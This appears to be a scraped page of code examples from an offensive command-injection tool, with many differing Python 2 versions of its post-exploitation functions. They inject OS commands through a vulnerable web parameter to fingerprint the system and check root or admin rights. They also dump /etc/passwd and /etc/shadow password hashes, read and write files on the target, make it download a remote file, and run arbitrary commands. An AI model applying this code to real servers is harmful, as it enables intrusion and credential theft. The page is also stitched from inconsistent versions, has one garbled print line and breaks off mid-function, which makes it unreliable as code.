Ejemplo n.º 1
0
def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):     
  cmd = settings.RECOGNISE_OS            
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  target_os = cb_injector.injection_results(response, TAG)
  if target_os:
    target_os = "".join(str(p) for p in target_os)
    if target_os == "Linux":
      cmd = settings.RECOGNISE_HP
      response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
      target_arch = cb_injector.injection_results(response, TAG)
      if target_arch:
        if menu.options.verbose:
          print ""
        target_arch = "".join(str(p) for p in target_arch)
        sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL)
        sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".\n")
        sys.stdout.flush()
        # Add infos to logs file.   
        output_file = open(filename, "a")
        output_file.write("    (!) The target operating system is " + target_os)
        output_file.write(" and the hardware platform is " + target_arch + ".\n")
        output_file.close()
    else:
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.    
      output_file = open(filename, "a")
      output_file.write("    (!) The target operating system is " + target_os + ".\n")
      output_file.close()
Ejemplo n.º 2
0
def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell):
  cmd = settings.CURRENT_USER
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
  cu_account = cb_injector.injection_results(response, TAG)
  if cu_account:
    cu_account = "".join(str(p) for p in cu_account)
    # Check if the user have super privileges.
    if menu.options.is_root:
      cmd = settings.ISROOT
      response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
      shell = cb_injector.injection_results(response, TAG)
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
      if shell:
        shell = "".join(str(p) for p in shell)
        if shell != "0":
            sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
            sys.stdout.flush()
        else:
          sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
          sys.stdout.flush()
    else:
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
Ejemplo n.º 3
0
def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  if settings.TARGET_OS == "win":
    settings.CURRENT_USER = settings.WIN_CURRENT_USER
  cmd = settings.CURRENT_USER
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    cu_account = cb_injector.injection_results(response, TAG)
    cu_account = "".join(str(p) for p in cu_account)
    session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
  else:
    cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if cu_account:
    cu_account = "".join(str(p) for p in cu_account)
    # Check if the user have super privileges.
    if menu.options.is_root or menu.options.is_admin:
      if settings.TARGET_OS == "win":
        cmd = settings.IS_ADMIN
      else:  
        cmd = settings.IS_ROOT 
      response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
      if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
        # Evaluate injection results.
        shell = cb_injector.injection_results(response, TAG)
        shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
        session_handler.store_cmd(url, cmd, shell, vuln_parameter)
      else:
        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
      # Add infos to logs file.    
      output_file = open(filename, "a")
      output_file.write("    (!) The current user is " + cu_account)
      output_file.close()
      if shell:
        if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
           (settings.TARGET_OS != "win" and shell != "0"):
          sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
          sys.stdout.flush()
          # Add infos to logs file.   
          output_file = open(filename, "a")
          output_file.write(" and it is not privileged.\n")
          output_file.close()
        else:
          sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n")
          sys.stdout.flush()
          # Add infos to logs file.   
          output_file = open(filename, "a")
          output_file.write(" and it is privileged.\n")
          output_file.close()
    else:
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      output_file.write("    (!) The current user is " + cu_account + "\n")
      output_file.close()
Ejemplo n.º 4
0
def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):     
  if settings.TARGET_OS == "win":
    # Not yet implemented!
    pass 
  else:
    cmd = settings.SYS_PASSES            
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    sys_passes = cb_injector.injection_results(response, TAG)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
      # Evaluate injection results.
      sys_passes = cb_injector.injection_results(response, TAG)
      sys_passes = "".join(str(p) for p in sys_passes)
      session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
    else:
      sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if sys_passes == "":
      sys_passes = " "
    if sys_passes :
      if menu.options.verbose:
        print ""
      sys.stdout.write(settings.INFO_SIGN + "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
      sys.stdout.flush()
      sys_passes = sys_passes.replace(" ", "\n")
      sys_passes = sys_passes.split( )
      if len(sys_passes) != 0 :
        sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
        sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entr" + ('ies', 'y')[len(sys_passes) == 1] + " in '" +  settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
        sys.stdout.flush()
        # Add infos to logs file.   
        output_file = open(filename, "a")
        output_file.write("\n    (!) Identified " + str(len(sys_passes)) + " entr" + ('ies', 'y')[len(sys_passes) == 1] + " in '" +  settings.SHADOW_FILE + "'.\n" )
        output_file.close()
        count = 0
        for line in sys_passes:
          count = count + 1
          try:
            fields = line.split(":")
            if fields[1] != "*" and fields[1] != "!" and fields[1] != "":
              print "  (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
              # Add infos to logs file.   
              output_file = open(filename, "a")
              output_file.write("      (" +str(count)+ ") " + fields[0] + " : " + fields[1])
              output_file.close()
          # Check for appropriate '/etc/shadow' format.
          except IndexError:
            if count == 1 :
              sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that '" + settings.SHADOW_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL + "\n")
            print fields[0]
            output_file = open(filename, "a")
            output_file.write("      " + fields[0])
            output_file.close()
      else:
        sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
        sys.stdout.flush()
        print "\n" + Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read '" + settings.SHADOW_FILE + "' to enumerate users password hashes." + Style.RESET_ALL
Ejemplo n.º 5
0
def do_check(separator,TAG,prefix,suffix,whitespace,http_request_method,url,vuln_parameter):

  # Current user enumeration
  if menu.options.current_user:
    cmd = settings.CURRENT_USER
    response = cb_injector.injection(separator,TAG,cmd,prefix,suffix,whitespace,http_request_method,url,vuln_parameter)
    shell = cb_injector.injection_results(response,TAG)
    if shell:
      if menu.options.verbose:
	print ""
      shell = "".join(str(p) for p in shell)
      print "  (+) Current User : "******""

  # Is-root enumeration
  if menu.options.is_root:
    cmd = settings.ISROOT
    response = cb_injector.injection(separator,TAG,cmd,prefix,suffix,whitespace,http_request_method,url,vuln_parameter)
    shell = cb_injector.injection_results(response,TAG)
    if shell:
      if menu.options.verbose:
	print ""
      sys.stdout.write( "  (+) Current user have root privs :")
      sys.stdout.flush()
      shell = "".join(str(p) for p in shell)
      if shell != "0":
	print colors.RED + " FALSE "+colors.RESET
      else:
	print colors.GREEN + " TRUE "+colors.RESET 

  # Hostname enumeration
  if menu.options.hostname:
    cmd = settings.HOSTNAME
    response = cb_injector.injection(separator,TAG,cmd,prefix,suffix,whitespace,http_request_method,url,vuln_parameter)
    shell = cb_injector.injection_results(response,TAG)
    if shell:
      if menu.options.verbose:
	print ""
      shell = "".join(str(p) for p in shell)
      print "  (+) Hostname : "+ colors.YELLOW + colors.BOLD +  shell + colors.RESET + ""

  # Single os-shell execution
  if menu.options.os_shell:
    cmd =  menu.options.os_shell
    response = cb_injector.injection(separator,TAG,cmd,prefix,suffix,whitespace,http_request_method,url,vuln_parameter)
    shell = cb_injector.injection_results(response,TAG)
    if shell:
      if menu.options.verbose:
	print ""
      shell = "".join(str(p) for p in shell)
      print "\n" + colors.GREEN + colors.BOLD + shell + colors.RESET
      sys.exit(0)
		
    
# eof
Ejemplo n.º 6
0
def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  if settings.TARGET_OS == "win":
    # Not yet implemented
    pass
  else:
    file_to_upload = menu.options.file_upload
    # check if remote file exists.
    try:
      urllib2.urlopen(file_to_upload)
    except urllib2.HTTPError, err_msg:
      warn_msg = "It seems that the '" + file_to_upload + "' file, does not exists. (" +str(err_msg)+ ")"
      sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
      sys.stdout.flush()
      sys.exit(0)
      
    # Check the file-destination
    if os.path.split(menu.options.file_dest)[1] == "" :
      dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
    elif os.path.split(menu.options.file_dest)[0] == "/":
      dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
    else:
      dest_to_upload = menu.options.file_dest
	    
    # Execute command
    cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload 
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    shell = cb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
	  
    # Check if file exists!
    if settings.TARGET_OS == "win":
      cmd = "dir " + dest_to_upload + ")"
    else:  
      cmd = "echo $(ls " + dest_to_upload + ")"

    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    shell = cb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    if settings.VERBOSITY_LEVEL >= 1:
      print ""
    if shell:
      success_msg = "The " +  shell
      success_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" 
      sys.stdout.write(settings.print_success_msg(success_msg) + "\n")
      sys.stdout.flush()
    else:
      warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
      sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
      sys.stdout.flush()
Ejemplo n.º 7
0
def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): 
  cmd = settings.PS_VERSION
  if alter_shell:
    cmd = cmd.replace("'","\\'")
  else:
    cmd = "\"" + cmd + "\""
  #Command execution results.
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  # Evaluate injection results.
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    ps_version = cb_injector.injection_results(response, TAG)
    ps_version = "".join(str(p) for p in ps_version)
    session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
  else:
    ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  try:
    if float(ps_version):
      settings.PS_ENABLED = True
      if menu.options.verbose:
        print ""
      # Output PowerShell's version number
      sys.stdout.write(Style.BRIGHT + "(!) The PowerShell's version number is " + Style.UNDERLINE +  ps_version + Style.RESET_ALL + Style.BRIGHT + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      # Add infos to logs file. 
      output_file = open(filename, "a")
      output_file.write("    (!) The PowerShell's version number is " + ps_version + ".\n")
      output_file.close()
  except ValueError:
    print Fore.YELLOW + settings.WARNING_SIGN + "Heuristics have failed to identify PowerShell's version, which means that some payloads or injection techniques may be failed." + Style.RESET_ALL 
    settings.PS_ENABLED = False
    checks.ps_check_failed()
Ejemplo n.º 8
0
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  file_to_read = menu.options.file_read
  # Execute command
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_FILE_READ + file_to_read
  else:
    cmd = settings.FILE_READ + file_to_read
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = cb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if settings.VERBOSITY_LEVEL >= 1:
    print ""
  if shell:
    success_msg = "The contents of file '"  
    success_msg += file_to_read + "'" + Style.RESET_ALL + ": "
    sys.stdout.write(settings.print_success_msg(success_msg))
    print shell
    output_file = open(filename, "a")
    success_msg = "The contents of file '"
    success_msg += file_to_read + "' : " + shell + ".\n"
    output_file.write("    " + settings.SUCCESS_SIGN + success_msg)
    output_file.close()
  else:
    warn_msg = "It seems that you don't have permissions "
    warn_msg += "to read the '" + file_to_read + "' file."
    sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
    sys.stdout.flush()
Ejemplo n.º 9
0
def file_read(
    separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename
):
    file_to_read = menu.options.file_read
    # Execute command
    cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
    response = cb_injector.injection(
        separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename
    )
    shell = cb_injector.injection_results(response, TAG)
    shell = "".join(str(p) for p in shell)
    if menu.options.verbose:
        print ""
    if shell:
        sys.stdout.write(
            Style.BRIGHT + "(!) The contents of file '" + Style.UNDERLINE + file_to_read + Style.RESET_ALL + "' : "
        )
        sys.stdout.flush()
        print shell
        output_file = open(filename, "a")
        output_file.write("    (!) The contents of file '" + file_to_read + "' : " + shell + ".\n")
        output_file.close()
    else:
        sys.stdout.write(
            Fore.YELLOW
            + "(^) Warning: It seems that you don't have permissions to read the '"
            + file_to_read
            + "' file."
            + Style.RESET_ALL
            + "\n"
        )
        sys.stdout.flush()
Ejemplo n.º 10
0
def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):     
  cmd = settings.SYS_PASSES            
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  sys_passes = cb_injector.injection_results(response, TAG)
  if sys_passes :
    sys.stdout.write("(*) Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
    sys.stdout.flush()
    sys_passes = "".join(str(p) for p in sys_passes)
    sys_passes = sys_passes.replace("(@)", "\n")
    sys_passes = sys_passes.split( )
    if len(sys_passes) != 0 :
      sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
      sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      output_file.write("    (!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" )
      output_file.close()
      count = 0
      for line in sys_passes:
        count = count + 1
        fields = line.split(":")
        if fields[1] != "*" and fields[1] != "!!" and fields[1] != "":
          print "  ("+str(count)+") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
          # Add infos to logs file.   
          output_file = open(filename, "a")
          output_file.write("      ("+str(count)+") " + fields[0] + " : " + fields[1])
          output_file.close()
    else:
      sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
      sys.stdout.flush()
      print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.SHADOW_FILE + "'." + Style.RESET_ALL
Ejemplo n.º 11
0
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
  if settings.TARGET_OS == "win":
    settings.HOSTNAME = settings.WIN_HOSTNAME 
  cmd = settings.HOSTNAME
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Perform target page reload (if it is required).
    if settings.URL_RELOAD:
      response = requests.url_reload(url, timesec)
    # Evaluate injection results.
    shell = cb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    shell = "".join(str(p) for p in shell)
    success_msg = "The hostname is " +  shell
    sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
    sys.stdout.flush()
    # Add infos to logs file. 
    output_file = open(filename, "a")
    success_msg = "The hostname is " + shell + ".\n"
    output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()
  else:
    warn_msg = "Heuristics have failed to identify the hostname."
    print settings.print_warning_msg(warn_msg)
Ejemplo n.º 12
0
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  file_to_read = menu.options.file_read
  # Execute command
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_FILE_READ + file_to_read
  else:
    cmd = settings.FILE_READ + file_to_read
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = cb_injector.injection_results(response, TAG)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if menu.options.verbose:
    print ""
  if shell:
    sys.stdout.write(Style.BRIGHT + "(!) The contents of file '" + Style.UNDERLINE + file_to_read + Style.RESET_ALL + "' : ")
    sys.stdout.flush()
    print shell
    output_file = open(filename, "a")
    output_file.write("    (!) The contents of file '" + file_to_read + "' : " + shell + ".\n")
    output_file.close()
  else:
   sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read the '" + file_to_read + "' file." + Style.RESET_ALL + "\n")
   sys.stdout.flush()
Ejemplo n.º 13
0
def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): 
  cmd = settings.PS_VERSION
  if alter_shell:
    cmd = cmd.replace("'","\\'")
  #Command execution results.
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  # Evaluate injection results.
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    ps_version = cb_injector.injection_results(response, TAG, cmd)
    ps_version = "".join(str(p) for p in ps_version)
    session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
  else:
    ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  try:
    if float(ps_version):
      settings.PS_ENABLED = True
      if settings.VERBOSITY_LEVEL >= 1:
        print ""
      # Output PowerShell's version number
      success_msg = "The PowerShell's version number is " 
      success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
      sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
      sys.stdout.flush()
      # Add infos to logs file. 
      output_file = open(filename, "a")
      success_msg = "The PowerShell's version number is " + ps_version + ".\n"
      output_file.write("    " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
      output_file.close()
  except ValueError:
    warn_msg = "Heuristics have failed to identify PowerShell's version, "
    warn_msg += "which means that some payloads or injection techniques may be failed."
    print settings.print_warning_msg(warn_msg)
    settings.PS_ENABLED = False
    checks.ps_check_failed()
Ejemplo n.º 14
0
def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell):
  file_to_write = menu.options.file_write
  if not os.path.exists(file_to_write):
    sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that the '"+ file_to_write + "' file, does not exists." + Style.RESET_ALL)
    sys.stdout.flush()
    sys.exit(0)
    
  if os.path.isfile(file_to_write):
    with open(file_to_write, 'r') as content_file:
      content = [line.replace("\n", " ") for line in content_file]
    content = "".join(str(p) for p in content).replace("'", "\"")
  else:
    sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that '"+ file_to_write + "' is not a file." + Style.RESET_ALL)
    sys.stdout.flush()
    
  # Check the file-destination
  if os.path.split(menu.options.file_dest)[1] == "" :
    dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
  elif os.path.split(menu.options.file_dest)[0] == "/":
    dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
  else:
    dest_to_write = menu.options.file_dest
    
  # Execute command
  cmd = settings.FILE_WRITE + " '"+ content + "'" + " > " + "'"+ dest_to_write + "'"
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
  shell = cb_injector.injection_results(response, TAG)
  shell = "".join(str(p) for p in shell)
  
  # Check if file exists!
  cmd = "echo $(ls " + dest_to_write + ")"
  # Check if defined cookie injection.
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
  shell = cb_injector.injection_results(response, TAG)
  shell = "".join(str(p) for p in shell)
  if shell:
    if menu.options.verbose:
      print ""
    sys.stdout.write(Style.BRIGHT + "\n(!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT +" file was created successfully!\n" + Style.RESET_ALL)
    sys.stdout.flush()
  else:
   sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to write the '"+ dest_to_write + "' file." + Style.RESET_ALL)
   sys.stdout.flush()
Ejemplo n.º 15
0
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell):
  cmd =  menu.options.os_cmd
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
  shell = cb_injector.injection_results(response, TAG)
  if shell:
    if menu.options.verbose:
      print ""
    shell = "".join(str(p) for p in shell)
    print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
    sys.exit(0)
Ejemplo n.º 16
0
def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): 
  cmd = settings.SYS_USERS             
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  sys_users = cb_injector.injection_results(response, TAG)
  if sys_users :
    sys_users = "".join(str(p) for p in sys_users)
    sys_users = sys_users.replace("(@)", "\n")
    sys_users = sys_users.split()
    if len(sys_users) != 0 :
      if menu.options.verbose:
        print ""
      sys.stdout.write("(*) Fetching '" + settings.PASSWD_FILE + "' to enumerate users entries... ")
      sys.stdout.flush()
      sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
      sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_users)) + " entries in '" + settings.PASSWD_FILE + "'.\n" + Style.RESET_ALL)
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      output_file.write("    (!) Identified " + str(len(sys_users)) + " entries in '" + settings.PASSWD_FILE + "'.\n")
      output_file.close()
      count = 0
      for line in sys_users:
        count = count + 1
        fields = line.split(":")
        # System users privileges enumeration
        if menu.options.privileges:
          if int(fields[1]) == 0:
            is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " root user "
            is_privilleged_nh = " is root user "
          elif int(fields[1]) > 0 and int(fields[1]) < 99 :
            is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " system user "
            is_privilleged_nh = " is system user "
          elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
            if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
              is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " anonymous user "
              is_privilleged_nh = " is anonymous user "
            elif int(fields[1]) == 60002:
              is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " non-trusted user "
              is_privilleged_nh = " is non-trusted user "   
            else:
              is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " regular user "
              is_privilleged_nh = " is regular user "
          else :
            is_privilleged = ""
            is_privilleged_nh = ""
        else :
          is_privilleged = ""
          is_privilleged_nh = ""
        print "  ("+str(count)+") '" + Style.BRIGHT + Style.UNDERLINE + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privilleged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'." 
        # Add infos to logs file.   
        output_file = open(filename, "a")
        output_file.write("      ("+str(count)+") '" + fields[0]+ "'" + is_privilleged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
        output_file.close()
    else:
      print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.PASSWD_FILE + "'." + Style.RESET_ALL
Ejemplo n.º 17
0
def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):     
  if settings.TARGET_OS == "win":
    settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
  cmd = settings.RECOGNISE_OS 
  if settings.TARGET_OS == "win":
    if alter_shell:
      cmd = "cmd /c " + cmd 
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    target_os = cb_injector.injection_results(response, TAG, cmd)
    target_os = "".join(str(p) for p in target_os)
    session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
  else:
    target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if target_os:
    target_os = "".join(str(p) for p in target_os)
    if settings.TARGET_OS == "win":
      cmd = settings.WIN_RECOGNISE_HP
    else:
      cmd = settings.RECOGNISE_HP
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
      # Evaluate injection results.
      target_arch = cb_injector.injection_results(response, TAG, cmd)
      target_arch = "".join(str(p) for p in target_arch)
      session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
    else:
      target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if target_arch:
      if settings.VERBOSITY_LEVEL >= 1:
        print ""
      success_msg = "The target operating system is " +  target_os + Style.RESET_ALL  
      success_msg += Style.BRIGHT + " and the hardware platform is " +  target_arch
      sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      success_msg = "The target operating system is " + target_os
      success_msg += " and the hardware platform is " + target_arch + ".\n"
      output_file.write("    " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()
Ejemplo n.º 18
0
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  cmd =  menu.options.os_cmd
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  shell = cb_injector.injection_results(response, TAG)
  if shell:
